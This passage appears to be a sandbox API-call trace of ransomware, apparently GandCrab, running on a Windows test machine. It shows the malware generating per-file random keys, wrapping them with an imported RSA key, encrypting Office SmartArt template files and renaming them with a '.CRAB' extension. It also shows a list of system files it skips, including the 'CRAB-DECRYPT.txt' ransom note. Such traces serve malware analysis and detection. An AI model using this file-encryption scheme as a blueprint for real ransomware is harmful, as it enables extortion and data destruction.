	[0118.228] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.229] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0118.229] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.230] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.230] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.230] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0118.230] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.230] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.230] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0118.231] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0118.231] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e9e0) returned 1
	[0118.231] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdedea8) returned 1
	[0118.232] CryptGetKeyParam (in: hKey=0xdedea8, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.232] CryptEncrypt (in: hKey=0xdedea8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0118.232] GetLastError () returned 0x0
	[0118.232] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0118.232] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6ed98) returned 1
	[0118.232] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdedee8) returned 1
	[0118.233] CryptGetKeyParam (in: hKey=0xdedee8, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.233] CryptEncrypt (in: hKey=0xdedee8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0118.233] GetLastError () returned 0x0
	[0118.233] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0118.233] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328925[[fn=interconnected block process]].glox.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0118.234] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0118.234] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0118.234] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x23e7, lpOverlapped=0x0) returned 1
	[0118.251] VirtualAlloc (lpAddress=0x0, dwSize=0x23f0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0118.251] VirtualAlloc (lpAddress=0x0, dwSize=0x23f0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0118.252] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.252] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffdc19, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.252] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x23f0, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3147f1c*=0x23f0, lpOverlapped=0x0) returned 1
	[0118.253] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.253] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.258] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.258] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.258] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0118.259] CloseHandle (hObject=0x3fc) returned 1
	[0118.260] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.261] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.261] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.261] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.261] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.262] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.262] FindNextFileW (in: hFindFile=0xda3f20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0118.262] lstrcmpW (lpString1="TM03328932[[fn=Picture Frame]].glox", lpString2=".") returned 1
	[0118.262] lstrcmpW (lpString1="TM03328932[[fn=Picture Frame]].glox", lpString2="..") returned 1
	[0118.262] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328932[[fn=Picture Frame]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox"
	[0118.262] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.262] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox") returned 139
	[0118.263] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox") returned 139
	[0118.263] lstrlenW (lpString=".glox") returned 5
	[0118.263] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.263] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".glox ") returned 6
	[0118.263] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.263] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox") returned 139
	[0118.263] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox") returned 139
	[0118.263] lstrcmpiW (lpString1="TM03328932[[fn=Picture Frame]].glox", lpString2="desktop.ini") returned 1
	[0118.263] lstrcmpiW (lpString1="TM03328932[[fn=Picture Frame]].glox", lpString2="autorun.inf") returned 1
	[0118.263] lstrcmpiW (lpString1="TM03328932[[fn=Picture Frame]].glox", lpString2="ntuser.dat") returned 1
	[0118.263] lstrcmpiW (lpString1="TM03328932[[fn=Picture Frame]].glox", lpString2="iconcache.db") returned 1
	[0118.263] lstrcmpiW (lpString1="TM03328932[[fn=Picture Frame]].glox", lpString2="bootsect.bak") returned 1
	[0118.264] lstrcmpiW (lpString1="TM03328932[[fn=Picture Frame]].glox", lpString2="boot.ini") returned 1
	[0118.264] lstrcmpiW (lpString1="TM03328932[[fn=Picture Frame]].glox", lpString2="ntuser.dat.log") returned 1
	[0118.264] lstrcmpiW (lpString1="TM03328932[[fn=Picture Frame]].glox", lpString2="thumbs.db") returned 1
	[0118.264] lstrcmpiW (lpString1="TM03328932[[fn=Picture Frame]].glox", lpString2="CRAB-DECRYPT.txt") returned 1
	[0118.264] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.264] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox.CRAB") returned 144
	[0118.264] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328932[[fn=picture frame]].glox")) returned 0x20
	[0118.264] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox", dwFileAttributes=0x20) returned 1
	[0118.265] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328932[[fn=picture frame]].glox"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328932[[fn=picture frame]].glox.crab")) returned 1
	[0118.266] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0118.266] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox.CRAB"
	[0118.266] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox.CRAB.CRAB"
	[0118.266] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e9e0) returned 1
	[0118.267] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.267] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.267] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.267] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0118.267] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0118.268] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.268] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6ed98) returned 1
	[0118.268] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.269] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.269] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.269] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0118.269] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0118.269] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.269] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0118.270] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0118.270] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e9e0) returned 1
	[0118.270] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdedf28) returned 1
	[0118.271] CryptGetKeyParam (in: hKey=0xdedf28, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.271] CryptEncrypt (in: hKey=0xdedf28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0118.271] GetLastError () returned 0x0
	[0118.271] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0118.271] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e9e0) returned 1
	[0118.271] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdee068) returned 1
	[0118.272] CryptGetKeyParam (in: hKey=0xdee068, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.272] CryptEncrypt (in: hKey=0xdee068, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0118.272] GetLastError () returned 0x0
	[0118.272] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0118.272] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328932[[fn=picture frame]].glox.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0118.273] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0118.273] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0118.273] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x10e6, lpOverlapped=0x0) returned 1
	[0118.294] VirtualAlloc (lpAddress=0x0, dwSize=0x10f0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0118.295] VirtualAlloc (lpAddress=0x0, dwSize=0x10f0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0118.295] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.295] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffef1a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.295] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3147f1c*=0x10f0, lpOverlapped=0x0) returned 1
	[0118.296] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.296] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.300] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.300] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.301] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0118.301] CloseHandle (hObject=0x3fc) returned 1
	[0118.302] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.302] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.302] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.302] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.303] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.303] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.303] FindNextFileW (in: hFindFile=0xda3f20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0118.303] lstrcmpW (lpString1="TM03328935[[fn=Picture Organization Chart]].glox", lpString2=".") returned 1
	[0118.303] lstrcmpW (lpString1="TM03328935[[fn=Picture Organization Chart]].glox", lpString2="..") returned 1
	[0118.303] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328935[[fn=Picture Organization Chart]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox"
	[0118.303] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.304] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox") returned 152
	[0118.304] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox") returned 152
	[0118.304] lstrlenW (lpString=".glox") returned 5
	[0118.304] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.304] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".glox ") returned 6
	[0118.304] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.304] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox") returned 152
	[0118.304] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox") returned 152
	[0118.304] lstrcmpiW (lpString1="TM03328935[[fn=Picture Organization Chart]].glox", lpString2="desktop.ini") returned 1
	[0118.304] lstrcmpiW (lpString1="TM03328935[[fn=Picture Organization Chart]].glox", lpString2="autorun.inf") returned 1
	[0118.305] lstrcmpiW (lpString1="TM03328935[[fn=Picture Organization Chart]].glox", lpString2="ntuser.dat") returned 1
	[0118.305] lstrcmpiW (lpString1="TM03328935[[fn=Picture Organization Chart]].glox", lpString2="iconcache.db") returned 1
	[0118.305] lstrcmpiW (lpString1="TM03328935[[fn=Picture Organization Chart]].glox", lpString2="bootsect.bak") returned 1
	[0118.305] lstrcmpiW (lpString1="TM03328935[[fn=Picture Organization Chart]].glox", lpString2="boot.ini") returned 1
	[0118.305] lstrcmpiW (lpString1="TM03328935[[fn=Picture Organization Chart]].glox", lpString2="ntuser.dat.log") returned 1
	[0118.305] lstrcmpiW (lpString1="TM03328935[[fn=Picture Organization Chart]].glox", lpString2="thumbs.db") returned 1
	[0118.305] lstrcmpiW (lpString1="TM03328935[[fn=Picture Organization Chart]].glox", lpString2="CRAB-DECRYPT.txt") returned 1
	[0118.305] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.305] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox.CRAB") returned 157
	[0118.305] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328935[[fn=picture organization chart]].glox")) returned 0x20
	[0118.306] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox", dwFileAttributes=0x20) returned 1
	[0118.307] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328935[[fn=picture organization chart]].glox"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328935[[fn=picture organization chart]].glox.crab")) returned 1
	[0118.307] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0118.308] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox.CRAB"
	[0118.308] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox.CRAB.CRAB"
